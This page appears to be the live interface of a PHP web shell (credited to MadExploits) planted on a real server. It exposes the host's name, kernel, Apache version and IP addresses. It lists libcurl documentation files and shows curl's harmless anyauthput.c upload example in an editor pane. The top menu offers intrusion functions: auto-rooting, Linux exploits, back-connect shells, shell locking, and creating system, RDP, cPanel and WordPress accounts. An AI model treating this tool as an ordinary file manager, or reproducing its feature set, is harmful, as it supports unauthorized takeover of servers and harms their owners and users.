Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libcurl-devel-7.29.0 /
[ HOME SHELL ]
Name
Size
Permission
Action
10-at-a-time.c
5.11
KB
-rw-r--r--
ABI
2.67
KB
-rw-r--r--
CONTRIBUTE
11.79
KB
-rw-r--r--
INTERNALS
20.75
KB
-rw-r--r--
Makefile.example
1.86
KB
-rw-r--r--
anyauthput.c
4.99
KB
-rw-r--r--
cacertinmem.c
6.61
KB
-rw-r--r--
certinfo.c
2.31
KB
-rw-r--r--
chkspeed.c
5.63
KB
-rw-r--r--
cookie_interface.c
3.63
KB
-rw-r--r--
curlgtk.c
2.89
KB
-rw-r--r--
curlx.c
15.68
KB
-rw-r--r--
debug.c
4.02
KB
-rw-r--r--
evhiperfifo.c
11.89
KB
-rw-r--r--
externalsocket.c
4.4
KB
-rw-r--r--
fileupload.c
2.6
KB
-rw-r--r--
fopen.c
13.07
KB
-rw-r--r--
ftp-wildcard.c
4.12
KB
-rw-r--r--
ftpget.c
2.81
KB
-rw-r--r--
ftpgetinfo.c
2.92
KB
-rw-r--r--
ftpgetresp.c
2.51
KB
-rw-r--r--
ftpsget.c
3.09
KB
-rw-r--r--
ftpupload.c
4.54
KB
-rw-r--r--
ftpuploadresume.c
4.75
KB
-rw-r--r--
getinfo.c
1.85
KB
-rw-r--r--
getinmemory.c
3.29
KB
-rw-r--r--
ghiper.c
11.73
KB
-rw-r--r--
hiperfifo.c
11.21
KB
-rw-r--r--
href_extractor.c
2.64
KB
-rw-r--r--
htmltidy.c
3.99
KB
-rw-r--r--
http-post.c
1.92
KB
-rw-r--r--
httpcustomheader.c
2.02
KB
-rw-r--r--
httpput.c
3.65
KB
-rw-r--r--
https.c
2.49
KB
-rw-r--r--
imap.c
1.47
KB
-rw-r--r--
multi-app.c
4.49
KB
-rw-r--r--
multi-debugcallback.c
5.37
KB
-rw-r--r--
multi-double.c
3.34
KB
-rw-r--r--
multi-post.c
4.51
KB
-rw-r--r--
multi-single.c
3.3
KB
-rw-r--r--
multithread.c
2.58
KB
-rw-r--r--
opensslthreadlock.c
2.72
KB
-rw-r--r--
persistant.c
2.08
KB
-rw-r--r--
pop3s.c
2.6
KB
-rw-r--r--
pop3slist.c
2.59
KB
-rw-r--r--
post-callback.c
4.67
KB
-rw-r--r--
postit2.c
3.47
KB
-rw-r--r--
progressfunc.c
2.66
KB
-rw-r--r--
resolve.c
1.77
KB
-rw-r--r--
rtsp.c
8.3
KB
-rw-r--r--
sampleconv.c
3.29
KB
-rw-r--r--
sendrecv.c
3.57
KB
-rw-r--r--
sepheaders.c
2.49
KB
-rw-r--r--
sftpget.c
3.2
KB
-rw-r--r--
simple.c
1.63
KB
-rw-r--r--
simplepost.c
1.78
KB
-rw-r--r--
simplesmtp.c
3.48
KB
-rw-r--r--
simplessl.c
4.46
KB
-rw-r--r--
smooth-gtk-thread.c
6.08
KB
-rw-r--r--
smtp-multi.c
5.74
KB
-rw-r--r--
smtp-tls.c
5.73
KB
-rw-r--r--
synctime.c
12.59
KB
-rw-r--r--
threaded-ssl.c
4.19
KB
-rw-r--r--
url2file.c
2.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : anyauthput.c
/*************************************************************************** * _ _ ____ _ * Project ___| | | | _ \| | * / __| | | | |_) | | * | (__| |_| | _ <| |___ * \___|\___/|_| \_\_____| * * Copyright (C) 1998 - 2012, Daniel Stenberg, <daniel@haxx.se>, et al. * * This software is licensed as described in the file COPYING, which * you should have received as part of this distribution. The terms * are also available at http://curl.haxx.se/docs/copyright.html. * * You may opt to use, copy, modify, merge, publish, distribute and/or sell * copies of the Software, and permit persons to whom the Software is * furnished to do so, under the terms of the COPYING file. * * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY * KIND, either express or implied. * ***************************************************************************/ #include <stdio.h> #include <fcntl.h> #ifdef WIN32 # include <io.h> #else # ifdef __VMS typedef int intptr_t; # endif # if !defined(_AIX) && !defined(__sgi) && !defined(__osf__) # include <stdint.h> # endif # include <unistd.h> #endif #include <sys/types.h> #include <sys/stat.h> #ifdef _MSC_VER # ifdef _WIN64 typedef __int64 intptr_t; # else typedef int intptr_t; # endif #endif #include <curl/curl.h> #if LIBCURL_VERSION_NUM < 0x070c03 #error "upgrade your libcurl to no less than 7.12.3" #endif #ifndef TRUE #define TRUE 1 #endif #if defined(_AIX) || defined(__sgi) || defined(__osf__) #ifndef intptr_t #define intptr_t long #endif #endif /* * This example shows a HTTP PUT operation with authentiction using "any" * type. It PUTs a file given as a command line argument to the URL also given * on the command line. * * Since libcurl 7.12.3, using "any" auth and POST/PUT requires a set ioctl * function. * * This example also uses its own read callback. */ /* ioctl callback function */ static curlioerr my_ioctl(CURL *handle, curliocmd cmd, void *userp) { intptr_t fd = (intptr_t)userp; (void)handle; /* not used in here */ switch(cmd) { case CURLIOCMD_RESTARTREAD: /* mr libcurl kindly asks as to rewind the read data stream to start */ if(-1 == lseek(fd, 0, SEEK_SET)) /* couldn't rewind */ return CURLIOE_FAILRESTART; break; default: /* ignore unknown commands */ return CURLIOE_UNKNOWNCMD; } return CURLIOE_OK; /* success! */ } /* read callback function, fread() look alike */ static size_t read_callback(void *ptr, size_t size, size_t nmemb, void *stream) { size_t retcode; curl_off_t nread; intptr_t fd = (intptr_t)stream; retcode = read(fd, ptr, size * nmemb); nread = (curl_off_t)retcode; fprintf(stderr, "*** We read %" CURL_FORMAT_CURL_OFF_T " bytes from file\n", nread); return retcode; } int main(int argc, char **argv) { CURL *curl; CURLcode res; intptr_t hd ; struct stat file_info; char *file; char *url; if(argc < 3) return 1; file= argv[1]; url = argv[2]; /* get the file size of the local file */ hd = open(file, O_RDONLY) ; fstat(hd, &file_info); /* In windows, this will init the winsock stuff */ curl_global_init(CURL_GLOBAL_ALL); /* get a curl handle */ curl = curl_easy_init(); if(curl) { /* we want to use our own read function */ curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback); /* which file to upload */ curl_easy_setopt(curl, CURLOPT_READDATA, (void*)hd); /* set the ioctl function */ curl_easy_setopt(curl, CURLOPT_IOCTLFUNCTION, my_ioctl); /* pass the file descriptor to the ioctl callback as well */ curl_easy_setopt(curl, CURLOPT_IOCTLDATA, (void*)hd); /* enable "uploading" (which means PUT when doing HTTP) */ curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L) ; /* specify target URL, and note that this URL should also include a file name, not only a directory (as you can do with GTP uploads) */ curl_easy_setopt(curl,CURLOPT_URL, url); /* and give the size of the upload, this supports large file sizes on systems that have general support for it */ curl_easy_setopt(curl, CURLOPT_INFILESIZE_LARGE, (curl_off_t)file_info.st_size); /* tell libcurl we can use "any" auth, which lets the lib pick one, but it also costs one extra round-trip and possibly sending of all the PUT data twice!!! */ curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY); /* set user name and password for the authentication */ curl_easy_setopt(curl, CURLOPT_USERPWD, "user:password"); /* Now run off and do what you've been told! */ res = curl_easy_perform(curl); /* Check for errors */ if(res != CURLE_OK) fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); /* always cleanup */ curl_easy_cleanup(curl); } close(hd); /* close the local file */ curl_global_cleanup(); return 0; }
Close